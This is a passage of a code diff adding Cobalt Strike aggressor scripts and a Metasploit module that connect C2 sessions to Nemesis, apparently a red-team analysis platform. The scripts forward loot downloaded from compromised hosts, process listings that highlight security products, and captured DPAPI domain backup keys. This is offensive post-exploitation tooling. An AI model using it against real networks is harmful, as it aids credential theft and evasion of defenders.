+ # $kibana_link = %nemesis::Settings['KibanaUrl'] . "app/discover#/?_a=(filters:!((query:(match_phrase:(objectId:'" . $objectId . "')))),index:'26360ae8-a518-4dac-b499-ef682d3f6bac')&_g=(time:(from:now-1y%2Fd,to:now))";
+
+ if ($contains_dpapi) {
+ $file_message .= " contains_dpapi : True\n";
+ }
+ if ($has_parsed_credentials) {
+ $file_message .= " has_parsed_creds : True\n";
+ }
+ if ($has_deserialization) {
+ $file_message .= " has_deserialization : True\n";
+ }
+ if ($encrypted) {
+ $file_message .= " encrypted : True\n";
+ }
+ if ($has_noseyparker_results) {
+ $file_message .= " NoseyParker results : True\n";
+ }
+
+ # $file_message .= " " . $kibana_link . "\n";
+
+ blog($BID, $file_message);
+}
+
+
+sub nemesis::ReprocessDownloads {
+ local('$download $BID $TimeStamp $TargetFileFolder $TargetFileName $TargetFileName $TargetFileSize $TeamServerPath $LastIndex $Filename $LocalFilePath');
+
+ println("[Nemesis] Reprocessing Nemesis downloads!");
+
+ # @(%(date => '1659127565809', fid => '9', path => 'C:\Temp\', size => '8', lpath => '/home/user/cobaltstrike/downloads/f11a87fd6', host => '192.168.50.86', name => 'out.txt', rcvd => '8', id => '4bac4c1d-3986-446f-93e2-d3090581d589', bid => '339429212'))
+ foreach $download (downloads())
+ {
+ $BID = $download['bid'];
+ $TargetFileFolder = $download['path'];
+ $TargetFileName = $download['name'];
+ $TargetFileSize = $download['size'];
+ $TeamServerPath = $download['lpath'];
+ $TimeStamp = $download['date'];
+
+ $LastIndex = [$TeamServerPath lastIndexOf: "/"];
+ $Filename = substr($TeamServerPath, ($LastIndex + 1));
+
+ # sync the download locally in case we're running this script on a remote system
+ $LocalFilePath = %nemesis::Settings['DownloadsDir'] . $Filename;
+
+ sync_download($TeamServerPath, $LocalFilePath, lambda({
+ logger::WriteVerbose("[nemesis::ReprocessDownloads] Synced the file ". $LocalFilePath);
+ nemesis::ProcessFile($BID, $LocalFilePath, $TargetFileFolder, $TargetFileName, $TargetFileSize, $TimeStamp, true);
+ }, \$LocalFilePath, \$BID, \$TargetFileFolder, \$TargetFileName, \$TargetFileSize, \$TimeStamp));
+
+ # TODO: delete download after sync?
+ }
+}
+
+
+#################################################################
+#
+# Custom Event Handlers
+#
+#################################################################
+
+sub Handle_beacon_output_ls {
+ # Note: not currently used
+ # [+] Unhandled event beacon_output_ls:
+ # 0: 14148
+ # 1: C:\users\*
+ # D 0 05/22/2019 01:18:42 .
+ # D 0 05/22/2019 01:18:42 ..
+ # D 0 09/15/2018 00:42:33 All Users
+ # D 0 05/22/2019 02:42:37 Default
+ # 2: 1560844546441
+ local('$1 @Args $BID @Lines $Line @Parts $PathBase $Size $Type $ObjectType $Modified $Name @Files %File $MessageID $Date');
+
+ @Args = $1;
+ $BID = @Args[0];
+
+ # don't process if things aren't initialized correctly yet
+ if(!$NemesisReady) {return $null;}
+
+ # if the GUI synced settings from a server, the main Nemesis code is also running on the teamserver,
+ # so don't handle downloads in the GUI so things aren't double-processed
+ if(!$IsHeadlessClient && $ClientSyncedFromServer) {return $null;}
+
+ @Lines = split('\n', @Args[1]);
+ $PathBase = replace(left(@Lines[0], strlen(@Lines[0]) - 1), "\\\\", "/");
+
+ @Files = @();
+
+ foreach $Line (sublist(@Lines, 1)) {
+ @Parts = split('\t', $Line);
+
+ $Type = @Parts[0];
+ $Size = @Parts[1];
+
+ # date format: 02/01/2023 10:19:40
+ $Date = parseDate('MM/dd/yyyy kk:mm:ss', @Parts[2]);
+ $Modified = formatDate($Date, "yyyy-MM-dd'T'HH:mm:ss.SSS'Z'");
+
+ $Name = @Parts[3];
+ $ObjectType = "other";
+
+ if($Type eq 'F') {
+ $ObjectType = "file";
+ }
+ else if($Type eq 'D') {
+ $ObjectType = "folder";
+ }
+
+ if (($Name ne ".") && ($Name ne "..")) {
+ %File = %(
+ path => $PathBase . $Name;
+ type => $ObjectType;
+ size => $Size;
+ modification_time => $Modified;
+ );
+
+ add(@Files, %File);
+ }
+ }
+
+ $MessageID = http::PostData($BID, "file_information", @Files);
+ logger::WriteVerbose("[Handle_beacon_output_ls] MessageID: ". $MessageID);
+}
+
+
+sub Handle_beacon_output_ps {
+ # when used through agscript, syncs process data to Nemesis
+
+ # [+] Unhandled event beacon_output_ps:
+ # 0: 14148
+ # 1: [System Process] 0 0
+ # System 0 4
+ # Secure System 4 88
+ # Registry 4 152
+ #
+ # 2: 1560844380002
+ local('$1 @Args $BID @Processes @Lines $Line @Parts %Process $MessageID');
+
+ @Args = $1;
+ $BID = @Args[0];
+
+ # don't process if things aren't initialized correctly yet
+ if(!$NemesisReady) {return $null;}
+
+ # if the GUI synced settings from a server, the main Nemesis code is also running on the teamserver,
+ # so don't handle downloads in the GUI so things aren't double-processed
+ if(!$IsHeadlessClient && $ClientSyncedFromServer) {return $null;}
+
+ @Processes = @();
+
+ @Lines = split('\n', @Args[1]);
+ foreach $Line (@Lines) {
+ @Parts = split('\t', $Line);
+
+ # See the `ProcessIngestion` message definition in nemesis.proto
+ %Process = %(
+ name => @Parts[0];
+ command_line => $null;
+ file_name => $null;
+ memory => $null;
+ process_id => @Parts[2];
+ parent_process_id => @Parts[1];
+ start_time => $null;
+ arch => @Parts[3];
+ token => %(
+ user => %(
+ name => @Parts[4];
+ );
+ session => @Parts[5];
+ );
+ );
+
+ add(@Processes, %Process);
+ }
+
+ $MessageID = http::PostData($BID, "process", @Processes);
+ logger::WriteVerbose("[Handle_beacon_output_ps] MessageID: ". $MessageID);
+}
+
+
+sub Handle_downloads {
+ # [+] Undocumented event: downloads
+ # @(%(date => '1659127565809', fid => '9', path => 'C:\Temp\', size => '8', lpath => '/home/user/cobaltstrike/downloads/f11a87fd6', host => '192.168.50.86', name => 'out.txt', rcvd => '8', id => '4bac4c1d-3986-446f-93e2-d3090581d589', bid => '339429212'))
+ local('$1 %Args $BID $TimeStamp $TargetFileFolder $TargetFileName $TargetFileSize $LastIndex $LocalFilePath $Filename $TeamServerPath $response $Filename');
+
+ # don't process if things aren't initialized correctly yet
+ if(!$NemesisReady) {return $null;}
+
+ # if the GUI synced settings from a server, the main Nemesis code is also running on the teamserver,
+ # so don't handle downloads in the GUI so things aren't double-processed
+ if(!$IsHeadlessClient && $ClientSyncedFromServer) {return $null;}
+
+ %Args = $1;
+ $BID = %Args[0]['bid'];
+ $TimeStamp = %Args[0]['date'];
+ $TargetFileFolder = %Args[0]['path'];
+ $TargetFileName = %Args[0]['name'];
+ $TargetFileSize = %Args[0]['size'];
+ $TeamServerPath = %Args[0]['lpath'];
+
+ $LastIndex = [$TeamServerPath lastIndexOf: "/"];
+ $Filename = substr($TeamServerPath, ($LastIndex + 1));
+
+ # sync the download locally in case we're running this script on a remote system
+ $LocalFilePath = %nemesis::Settings['DownloadsDir'] . $Filename;
+
+ sync_download($TeamServerPath, $LocalFilePath, lambda({
+ logger::WriteVerbose("[Handle_downloads] Synced the file ". $LocalFilePath);
+ nemesis::ProcessFile($BID, $LocalFilePath, $TargetFileFolder, $TargetFileName, $TargetFileSize, $TimeStamp, false);
+ }, \$LocalFilePath, \$BID, \$TargetFileFolder, \$TargetFileName, \$TargetFileSize, \$TimeStamp));
+}
+
+
+sub Handle_beacon_output {
+ local('$IsHeadlessClient $ClientSyncedFromServer $1 %Args $BID $Output $FileID $DomainController $BackupkeyGuid $RandomName $BackupkeyB64 %JsonData $JsonString %RawData $MessageID');
+
+ # don't process if things aren't initialized correctly yet
+ if(!$NemesisReady) {return $null;}
+
+ # if the GUI synced settings from a server, the main Nemesis code is also running on the teamserver,
+ # so don't handle downloads in the GUI so things aren't double-processed
+ if(!$IsHeadlessClient && $ClientSyncedFromServer) {return $null;}
+
+ %Args = $1;
+ $BID = %Args[0];
+ $Output = %Args[1];
+
+ # Handle domain backupkey output from SharpDPAPI
+ if ($Output hasmatch '\[\*\] Using current domain controller : ([a-zA-Z0-9\.-]+)\s*\[\*\] Preferred backupkey Guid : ([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})\s*\[\*\]') {
+
+ $DomainController = matched()[0];
+ $BackupkeyGuid = matched()[1];
+
+ # regex being weird, gotta nest this here for some reason
+ if($Output hasmatch '\[\*\] Key : ([a-zA-Z0-9/+=]+)') {
+ $BackupkeyB64 = matched()[0];
+
+ %JsonData = %(
+ domain_controller => $DomainController,
+ domain_backupkey_guid => $BackupkeyGuid,
+ domain_backupkey_b64 => $BackupkeyB64
+ );
+ $JsonString = json_dumps(%JsonData);
+
+ # write up the JSON string to a random file name and upload it to Nemesis
+ $RandomName = %nemesis::Settings['DownloadsDir'] . helpers::GetRandomFileName();
+ $OutFile = openf(">" . $RandomName);
+ writeb($OutFile, $JsonString);
+ closef($OutFile);
+
+ # upload the file to Nemesis and get a Nemesis UUID back
+ $FileID = http::UploadFile($RandomName);
+ if(%nemesis::Settings['DebugJson']) {
+ println("Domain BackupKey RandomName: " . $RandomName . ", Nemesis UUID: " . $FileID);
+ }
+
+ deleteFile($OutFile);
+
+ %RawData = %(
+ tags => @("dpapi_domain_backupkey");
+ is_file => "true";
+ data => $FileID;
+ );
+
+ $MessageID = http::PostData($BID, "raw_data", @(%RawData));
+ blog($BID, "Nemesis: registered DPAPI domain backupkey (GUID: " . $BackupkeyGuid . ")\n decrypting any existing linked DPAPI masterkeys/blobs");
+ logger::WriteVerbose("DPAPI domain backupkey MessageID: ". $MessageID);
+ }
+ }
+}
+
+
+sub Handle_beacon_initial {
+ local('$1 %Args $BID $Hostname $OS $Arch $ProcessName $ProcessId $ProcessUsername @AgentIds $Ver $Build $Description %HostJsonData $HostJsonString %HostRawData $HostMessageID %AgentJsonData $AgentJsonString %AgentRawData $AgentMessageID');
+
+ # don't process if things aren't initialized correctly yet
+ if(!$NemesisReady) {return $null;}
+
+ # if the GUI synced settings from a server, the main Nemesis code is also running on the teamserver,
+ # so don't handle output in the GUI so things aren't double-processed
+ if(!$IsHeadlessClient && $ClientSyncedFromServer) {return $null;}
+
+ %Args = $1;
+ $BID = %Args[0];
+
+ $Hostname = beacon_info($BID, "computer");
+ $OS = lc(beacon_info($BID, "os"));
+ @AgentIds = @($BID, "testing");
+
+ if(lc($OS) eq "windows") {
+ $Ver = beacon_info($BID, "ver");
+ $Build = beacon_info($BID, "build");
+ $Description = "$Ver - $Build";
+ }
+ else {
+ # TODO - basic linux ssh info?
+ }
+
+ %HostJsonData = %(
+ hostname => $Hostname,
+ description => $Description,
+ os_type => "windows",
+ agent_ids => @AgentIds
+ );
+
+ $HostJsonString = json_dumps(%HostJsonData);
+
+ %HostRawData = %(
+ tags => @("host_data_json");
+ data => $HostJsonString
+ );
+
+ $HostMessageID = http::PostData($BID, "raw_data", @(%HostRawData));
+ logger::WriteVerbose("[Handle_beacon_initial] Host MessageID: ". $HostMessageID);
+
+ $Arch = lc(beacon_info($BID, "arch"));
+ $ProcessName = beacon_info($BID, "process");
+ $ProcessId = beacon_info($BID, "pid");
+ $ProcessUsername = beacon_info($BID, "user");
+
+ %AgentJsonData = %(
+ agent_id => $BID,
+ agent_type => "beacon",
+ arch => $Arch,
+ is_alive => true,
+ process_name => $ProcessName,
+ process_id => $ProcessId,
+ process_username => $ProcessUsername
+ );
+
+ $AgentJsonString = json_dumps(%AgentJsonData);
+
+ %AgentRawData = %(
+ tags => @("agent_data_json");
+ data => $AgentJsonString
+ );
+
+ $AgentMessageID = http::PostData($BID, "raw_data", @(%AgentRawData));
+ logger::WriteVerbose("[Handle_beacon_initial] Agent MessageID: ". $HostMessageID);
+}
+
+#################################################################
+#
+# Initialization Code
+#
+#################################################################
+
+sub nemesis::Initialize {
+ # let the ENV variables take precedence over settings synced from the server
+ if([System getenv: "NEMESIS_COBALTSTRIKE_DOWNLOADS_DIR"]) {
+ %nemesis::Settings['DownloadsDir'] = [System getenv: "NEMESIS_COBALTSTRIKE_DOWNLOADS_DIR"];
+ }
+ if([System getenv: "NEMESIS_BASE_URL"]) {
+ %nemesis::Settings['NemesisBaseUrl'] = [System getenv: "NEMESIS_BASE_URL"];
+ }
+ if([System getenv: "NEMESIS_CREDS"]) {
+ %nemesis::Settings['NemesisCreds'] = [System getenv: "NEMESIS_CREDS"];
+ }
+ if([System getenv: "NEMESIS_DEBUG_JSON"]) {
+ %nemesis::Settings['DebugJson'] = iff([System getenv: "NEMESIS_DEBUG_JSON"] eq "1", 1, 0);
+ }
+ if([System getenv: "NEMESIS_PROJECT"]) {
+ %nemesis::Settings['NemesisProject'] = [System getenv: "NEMESIS_PROJECT"];
+ }
+ if([System getenv: "NEMESIS_DATA_EXPIRATION_DAYS"]) {
+ %nemesis::Settings['DataExpirationDays'] = [System getenv: "NEMESIS_DATA_EXPIRATION_DAYS"];
+ }
+
+ if(!$ClientSyncedFromServer) {
+ # only check these settings if we're NOT a GUI client that synced from the server
+ if(!%nemesis::Settings['DownloadsDir']) {
+ logger::WriteError("The environment variable NEMESIS_COBALTSTRIKE_DOWNLOADS_DIR is not set. Quiting...");
+ if (!$IsHeadlessClient) {
+ show_error("The environment variable NEMESIS_COBALTSTRIKE_DOWNLOADS_DIR is not set. Nemesis will not work.");
+ }
+ return false;
+ }
+
+ if(-exists %nemesis::Settings['DownloadsDir']) {
+ } else {
+ logger::WriteError("The downloads directory " . %nemesis::Settings['DownloadsDir'] . " does not exist. Quiting...");
+ if (!$IsHeadlessClient) {
+ show_error("The downloads directory " . %nemesis::Settings['DownloadsDir'] . " does not exist. Nemesis will not work.");
+ }
+ return false;
+ }
+
+ if(-isDir %nemesis::Settings['DownloadsDir']) {
+ } else {
+ logger::WriteError("The downloads directory " . %nemesis::Settings['DownloadsDir'] . " is not a directory. Quiting...");
+ if (!$IsHeadlessClient) {
+ show_error("The downloads directory " . %nemesis::Settings['DownloadsDir'] . " is not a directory. Nemesis will not work.");
+ }
+ return false;
+ }
+ }
+
+ if(!%nemesis::Settings['NemesisBaseUrl']) {
+ logger::WriteError("The environment variable NEMESIS_BASE_URL is not set. Quiting...");
+ if (!$IsHeadlessClient) {
+ show_error("The environment variable NEMESIS_BASE_URL is not set or wasn't synced from a server. Nemesis will not work.");
+ }
+ return false;
+ }
+
+ if(!([(%nemesis::Settings['NemesisBaseUrl']) endsWith: "/"])) {
+ %nemesis::Settings['NemesisBaseUrl'] .= "/"
+ }
+
+ %nemesis::Settings['NemesisApiUrl'] = %nemesis::Settings['NemesisBaseUrl'] . "api/";
+ %nemesis::Settings['NemesisYaraUrl'] = %nemesis::Settings['NemesisBaseUrl'] . "yara/";
+ %nemesis::Settings['ElasticsearchUrl'] = %nemesis::Settings['NemesisBaseUrl'] . "elastic/";
+ %nemesis::Settings['KibanaUrl'] = %nemesis::Settings['NemesisBaseUrl'] . "kibana/";
+
+ if(!%nemesis::Settings['NemesisCreds']) {
+ logger::WriteError("The environment variables NEMESIS_CREDS is not set. Quiting...");
+ if (!$IsHeadlessClient) {
+ show_error("The environment variable NEMESIS_CREDS is not set or wasn't synced from a server. Nemesis will not work.");
+ }
+ return false;
+ }
+
+ return true;
+}
+
+%EventHandlerMap = %(
+ beacon_output_ls => &Handle_beacon_output_ls,
+ beacon_output_ps => &Handle_beacon_output_ps,
+ downloads => &Handle_downloads,
+ beacon_output => &Handle_beacon_output,
+ beacon_initial => &Handle_beacon_initial
+);
+
+sub nemesis::StartLogging {
+ on * {
+ local('$Event $func %Object');
+ $Event = $1;
+
+ $func = %EventHandlerMap[$Event];
+ if($func) {
+ [$func: subarray(@_, 1)];
+ }
+ }
+}
+
+
+#################################################################
+#
+# Entrypoint
+#
+#################################################################
+
+global('$IsHeadlessClient $ClientSyncedFromServer $NemesisReady');
+$NemesisReady = false; # true once things are all initialized
+$IsHeadlessClient = helpers::IsHeadlessClient();
+$ClientSyncedFromServer = false; # set to true if the GUI client synced from a headless server
+
+logger::Initialize($IsHeadlessClient);
+
+sub nemesis::SyncFromServer {
+ # if we're in the GUI, try to sync settings from the server
+ privmsg("nemesis-bot", "GET NemesisBaseUrl");
+ privmsg("nemesis-bot", "GET NemesisCreds");
+ privmsg("nemesis-bot", "GET NemesisProject");
+ sleep(2000);
+ privmsg(mynick(), "Nemesis ready");
+}
+
+on ready {
+ println("IsHeadlessClient: $IsHeadlessClient");
+ if(!$IsHeadlessClient) {
+ fork(&nemesis::SyncFromServer);
+ }
+ else {
+ privmsg(mynick(), "Nemesis ready");
+ }
+}
+
+on event_private {
+ # Used for syncing configuration from the headless server to the client
+ local('$from $to $message $1 $2 $3');
+
+ $from = $1;
+ $to = $2;
+ $message = $3;
+
+ if($message ismatch "Nemesis ready") {
+ # we got a signal that config syncing is completed
+ if(nemesis::Initialize()) {
+ if($IsHeadlessClient) {
+ logger::WriteVerbose("Starting logging via agscript");
+ }
+ else {
+ logger::WriteVerbose("Starting logging in the CS Client GUI");
+ }
+ nemesis::StartLogging();
+
+ logger::WriteVerbose("Nemesis config settings:");
+ logger::WriteVerbose(" ClientSyncedFromServer : " . $ClientSyncedFromServer);
+ local('$key')
+ foreach $key (keys(%nemesis::Settings))
+ {
+ logger::WriteVerbose(" " . $key . " : " . %nemesis::Settings[$key]);
+ }
+
+ $NemesisReady = true;
+ }
+ else {
+ logger::WriteError("Failed to initialize. Aborting startup.");
+
+ if($IsHeadlessClient) {
+ [System exit: 1];
+ }
+ }
+ }
+
+ if($IsHeadlessClient) {
+ if($to ismatch "nemesis-bot") {
+ if ($message ismatch "GET NemesisBaseUrl") {
+ privmsg($from, "SET NemesisBaseUrl " . %nemesis::Settings['NemesisBaseUrl']);
+ }
+ if ($message ismatch "GET NemesisCreds") {
+ privmsg($from, "SET NemesisCreds " . %nemesis::Settings['NemesisCreds']);
+ }
+ if ($message ismatch "GET NemesisProject") {
+ privmsg($from, "SET NemesisProject " . %nemesis::Settings['NemesisProject']);
+ }
+ if ($message ismatch "ReprocessDownloads") {
+ nemesis::ReprocessDownloads();
+ elog($from . " triggered reprocessing of existing Nemesis downloads");
+ }
+ }
+ }
+ else {
+ if(($from ismatch "nemesis-bot") && ($to ismatch mynick())) {
+ $ClientSyncedFromServer = true;
+ if($message ismatch "SET NemesisBaseUrl .*") {
+ %nemesis::Settings['NemesisBaseUrl'] = substr($message, 19);
+ %nemesis::Settings['NemesisApiUrl'] = %nemesis::Settings['NemesisBaseUrl'] . "api/";
+ %nemesis::Settings['NemesisYaraUrl'] = %nemesis::Settings['NemesisBaseUrl'] . "yara/";
+ %nemesis::Settings['ElasticsearchUrl'] = %nemesis::Settings['NemesisBaseUrl'] . "elastic/";
+ %nemesis::Settings['KibanaUrl'] = %nemesis::Settings['NemesisBaseUrl'] . "kibana.";
+ }
+ if($message ismatch "SET NemesisCreds .*") {
+ %nemesis::Settings['NemesisCreds'] = substr($message, 17);
+ }
+ if($message ismatch "SET NemesisProject .*") {
+ %nemesis::Settings['NemesisProject'] = substr($message, 19);
+ }
+ }
+ }
+}
diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/ps.cna b/cmd/connectors/cobaltstrike-nemesis-connector/ps.cna
new file mode 100644
index 0000000..6ce090c
--- /dev/null
+++ b/cmd/connectors/cobaltstrike-nemesis-connector/ps.cna
@@ -0,0 +1,231 @@
+# Always keep 4 and 34 enabled - they'll help catch common developer mistakes
+debug(debug() | 4); # 4 = display a runtime warning for the first time use of non-declared variables.
+#debug(debug() | 8); # 8 = DEBUGGING: trace all function calls
+debug(debug() | 34); # 34 = "throw" all errors flagged for use with &checkError
+#debug(debug() | 64); # 64 = DEBUGGING: trace all predicate decisions (follow program logic)
+
+# TODO: not quite sure what this is...
+global('$ps::CachedOutput');
+
+beacon_command_register(
+ "nps",
+ "Shows, colors, and describes a list of processes using Nemesis (alternative process listing)",
+ "Use:\n" .
+ " nps [-s ] [regex]\n" .
+ " nps -d [regex]\n" .
+ "Arguments:\n" .
+ " -s Sort by a field. Possible sort fields are name, ppid, pid, arch, user, and session.\n" .
+ " regex Filter results using a regex\n" .
+ "Shows and colors a list of processes.\n" .
+ "Color Key:\n" .
+ " \c4RED\o - Security products.\n" .
+ " \cBLIGHT BLUE\o - Remote administration/access tools.\n" .
+ " \c3GREEN\o - Browsers.\n" .
+ " \cATURQUOISE\o - Infrastructure\n" .
+ " \c6PURPLE\o - Miscellaneous \"you should be aware of this\" processes.\n" .
+ " \UUNDERLINED\o - Active beacon in the process(a callback in the last " . %nemesis::Settings['BeaconUnderlineThreshold'] . " minutes)"
+);
+
+alias nps {
+ local('$term $sort $1 $2 $3 $4 $describe');
+ $sort = "pid";
+ $describe = true;
+
+ if($2) {
+ if($2 eq "-s") {
+ if($3) {
+ $sort = $3;
+
+ if($4) {
+ $term = ".*" . $4 . ".*";
+ } else {
+ $term = ".*";
+ }
+
+ } else {
+ berror($1, "No sort field specified");
+ return;
+ }
+ } else {
+ $sort = "name";
+ $term = ".*" . $2 . ".*";
+ }
+ } else {
+ $term = ".*";
+ }
+
+
+ bps($1, lambda({
+ $ps::CachedOutput = $2;
+ ps::process_list_callback($1, $2, $time, $searchTerm, $sortField, $describe, "");
+ },
+ $time => ticks(),
+ $searchTerm => $term,
+ $sortField => $sort,
+ $describe => $describe
+ )
+ );
+}
+
+
+sub ps::process_list_callback {
+ local('$BID $sortField $windowSizeStr $binfo $beacons @hostBeaconPids $outputText $time $searchTerm $matched $describe $b');
+ local('$description $category $MessageID $retries $num_results $results');
+ local('$out $temp $name $ppid $pid $arch $user $session @Processes');
+ local('$result $parentProcessId $parentProcessId $parentProcessId $color $parentProcessId $processId $Underline $outputLine $legend');
+
+ $BID = $1;
+ $binfo = binfo($BID);
+ $outputText = $2;
+ $time = $3;
+ $searchTerm = $4;
+ $sortField = $5;
+ $describe = $6;
+ $category = $7;
+
+ $beacons = beacons();
+ foreach $b (beacons()) {
+ if($b['computer'] eq $binfo['computer']) {
+ # If the beacon has been active in the last X minutes or is the current beacon, add it
+ if((($b['last'] / 60000) lt %nemesis::Settings['BeaconUnderlineThreshold']) || ($b['pid'] eq $binfo['pid'])) {
+ push(@hostBeaconPids, $b['pid']);
+ }
+ }
+ }
+
+ @Processes = @();
+
+ # Step 1 - extract all of the raw process data from the output
+ foreach $temp (split("\n", ["$outputText" trim])) {
+ ($name, $ppid, $pid, $arch, $user, $session) = split("\t", $temp);
+ push(@Processes, %(
+ name => $name,
+ command_line => $null,
+ file_name => $null,
+ memory => $null,
+ process_id => $pid,
+ parent_process_id => $ppid,
+ start_time => $null,
+ arch => $arch,
+ token => %(
+ user => %(
+ name => $user;
+ );
+ session => $session;)
+ )
+ );
+ }
+
+ # Step 2 - post the process data to Nemesis and extract the message ID
+ $MessageID = http::PostData($BID, "process", @Processes);
+ logger::WriteVerbose("ps::process_list_callback() MessageID: ". $MessageID);
+
+ if($describe) {
+ $out .= " PID PPID Name Arch Session User Description\n";
+ $out .= "\cE --- ---- ---- ---- ------- ----- -----------\n";
+ } else {
+ $out .= " PID PPID Name Arch Session User\n";
+ $out .= "\cE --- ---- ---- ---- ------- -----\n";
+ }
+
+ if($MessageID) {
+
+ # Step 3 - poll Elasticsearch until entries with this $MessageID appear
+ # This indicates that the process data made it through the Nemesis pipeline
+ $retries = 10;
+ $num_results = 0;
+ while(($num_results lt 1) && ($retries gt 0)) {
+ sleep(1000);
+ $results = http::GetProcessData($MessageID);
+ try {
+ if("hits" in $results) {
+ if("total" in $results["hits"]) {
+ $num_results = $results["hits"]["total"]["value"];
+ }
+ else {
+ $num_results = 0;
+ }
+ }
+ else {
+ $num_results = 0;
+ }
+ }
+ catch $message {
+ $num_results = 0;
+ }
+ $retries = $retries - 1;
+ }
+
+ if($results) {
+ foreach $result ($results["hits"]["hits"]) {
+ $result = $result["_source"];
+ $parentProcessId = $result["parentProcessId"];
+ $processId = $result["processId"];
+ $name = $result["name"];
+ $arch = $result["arch"];
+ $category = $result["category"]["category"];
+ $description = $result["category"]["description"];
+ $session = $result["token"]["user"]["session"];
+ $user = $result["token"]["user"]["name"];
+
+ if($category eq "Security") {
+ $color = "\c4"; # highlight security products processes in RED.
+ }
+ else if($category eq "AccessTool") {
+ $color = "\cB"; # highlight remote administration tools in LIGHT BLUE
+ }
+ else if($category eq "Browser") {
+ $color = "\c3"; # highlight browsers processes in GREEN
+ }
+ else if($category eq "Infrastructure") {
+ $color = "\c7"; # YELLOW
+ }
+ else if($category eq "MiscAwareness") {
+ $color = "\c6"; # General "be aware of" processes in PURPLE: indicate the user is not active or you may have crashed an application.
+ }
+ else {
+ $color = "";
+ }
+
+ $Underline = "";
+
+ if($describe) {
+ $outputLine = "$Underline $color $[5]processId $[5]parentProcessId $[28]name $[5]arch $[11]session $[35]user $description $Underline\o";
+ } else {
+ $outputLine = "$Underline $color $[5]processId $[5]parentProcessId $[28]name $[5]arch $[11]session $user $Underline\o";
+ }
+
+ $out .= "$outputLine \n";
+ }
+
+ if($describe) {
+ $windowSizeStr = " ";
+ }
+
+ $legend = "\LEGEND\n";
+ $legend .= "\c4 Security Product\n";
+ $legend .= "\cB Access Tool\n";
+ $legend .= "\c3 Browser\n";
+ $legend .= "\c7 Infrastructure\n";
+ $legend .= "\c6 Misc Process to be Aware of\n";
+
+ blog($1, "Nemesis-enriched process listing for $binfo['computer'] BeaconID: $BID\n$windowSizeStr\n$out\n");
+ blog($1, $legend);
+ }
+ }
+ else {
+ foreach $Process (@Processes) {
+ $Underline = "";
+ $processId = $Process["process_id"];
+ $parentProcessId = $Process["parent_process_id"];
+ $name = $Process["name"];
+ $arch = $Process["arch"];
+ $session = $Process["token"]["session"];
+ $user = $Process["token"]["user"]["name"];
+ $out .= "$Underline $color $[5]processId $[5]parentProcessId $[28]name $[5]arch $[11]session $user $Underline\o\n";
+ }
+
+ blog($1, "Process listing for $binfo['computer'] BeaconID: $BID\n$windowSizeStr\n$out\n");
+ berror($1, "No MessageID returned by Nemesis- system either not up or not working properly.")
+ }
+}
diff --git a/cmd/connectors/metasploit-connector/README.md b/cmd/connectors/metasploit-connector/README.md
new file mode 100644
index 0000000..9d8dad8
--- /dev/null
+++ b/cmd/connectors/metasploit-connector/README.md
@@ -0,0 +1,31 @@
+# Installation
+
+Copy:
+ * `./plugins/nemesis.rb` to `//plugins/nemssis.rb`
+ * `./modules/nemesis.rb` to `//modules/post/windows/gather/nemesis.rb`
+
+## Configuration File
+
+Ensure that a nemesis.yaml file with the following values is in `~/.msf4/nemesis.yaml` (Msf::Config.get_config_root):
+
+```
+nemesis_url: http://NEMESIS_HOST:8080/api/
+nemesis_creds: nemesis:Qwerty12345
+operator_name: OPERATOR-X
+project_name: PROJECT-X
+expiration_days: 100
+```
+
+# Usage
+
+## Downloads
+
+To use the download hook, type `load nemesis`. This will submit all downloaded files to Nemesis for analysis.
+
+## Data Collection
+
+Using the `post/windows/gather/nemesis` module will collect any relevant data for submission to Nemesis.
+
+# TODO
+
+* Pull SDDL information for the registry keys through Railgun (won't be fun)
diff --git a/cmd/connectors/metasploit-connector/modules/nemesis.rb b/cmd/connectors/metasploit-connector/modules/nemesis.rb
new file mode 100644
index 0000000..acfc8d9
--- /dev/null
+++ b/cmd/connectors/metasploit-connector/modules/nemesis.rb
@@ -0,0 +1,195 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'json'
+require 'uri'
+require 'net/http'
+
+class MetasploitModule < Msf::Post
+ include Msf::Post::Windows::Registry
+ include Msf::Post::Common
+
+ # config globals
+ SERVICES_PATH = 'HKLM\\SYSTEM\\CurrentControlSet\\Services'
+ $nemesis_url = nil
+ $nemesis_user = nil
+ $nemesis_password = nil
+ $nemesis_project = nil
+ $expiration_days = nil
+ $remote_paths = Hash.new
+ $nemesis_yaml = "#{Msf::Config.get_config_root}/nemesis.yaml"
+
+
+ # reads the nemesis.yaml settings into the global variables
+ def read_settings()
+ read = nil
+ if File.exist?("#{$nemesis_yaml}")
+ ldconfig = YAML.load_file("#{$nemesis_yaml}")
+ $nemesis_url = ldconfig['nemesis_url']
+ $nemesis_user, $nemesis_password = ldconfig['nemesis_creds'].split(":")
+ $nemesis_project = ldconfig['project_name']
+ $expiration_days = ldconfig['expiration_days'].to_i
+ read = true
+ else
+ print_error("You must create a #{$nemesis_yaml} file")
+ return read
+ end
+ return read
+ end
+
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Nemesis Enumeration',
+ 'Description' => %q( This module will gather data for Nemesis. ),
+ 'License' => MSF_LICENSE,
+ 'Author' => [ 'harmj0y' ],
+ 'Platform' => [ 'win' ],
+ 'SessionTypes' => [ 'meterpreter' ]
+ ))
+ read_settings()
+ end
+
+
+ def print_status(msg='')
+ super("#{peer} - #{msg}")
+ end
+
+
+ def print_good(msg='')
+ super("#{peer} - #{msg}")
+ end
+
+
+ def print_error(msg='')
+ super("#{peer} - #{msg}")
+ end
+
+
+ # helper to build the metadata hash table for data submission
+ def get_metadata(agent_uuid, data_type = "registry_value")
+ timestamp = Time.now
+ expiration = timestamp + $expiration_days * 86400 # 24 * 60 * 60
+ metadata = {
+ "agent_type" => "meterpreter",
+ "automated" => true,
+ "agent_id" => agent_uuid,
+ "data_type" => data_type,
+ "project" => $nemesis_project,
+ # "source" => session.sys.config.sysinfo["Computer"],
+ "timestamp" => timestamp.utc.iso8601,
+ "expiration" => expiration.utc.iso8601
+ }
+ return metadata
+ end
+
+
+ # posts an entry hashtable to the /api/data endpoint
+ def post_data(data)
+ uri = URI("#{$nemesis_url}data")
+ req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')
+ req.basic_auth $nemesis_user, $nemesis_password
+ req['User-Agent'] = "METERPRETER"
+ req.body = data.to_json
+ begin
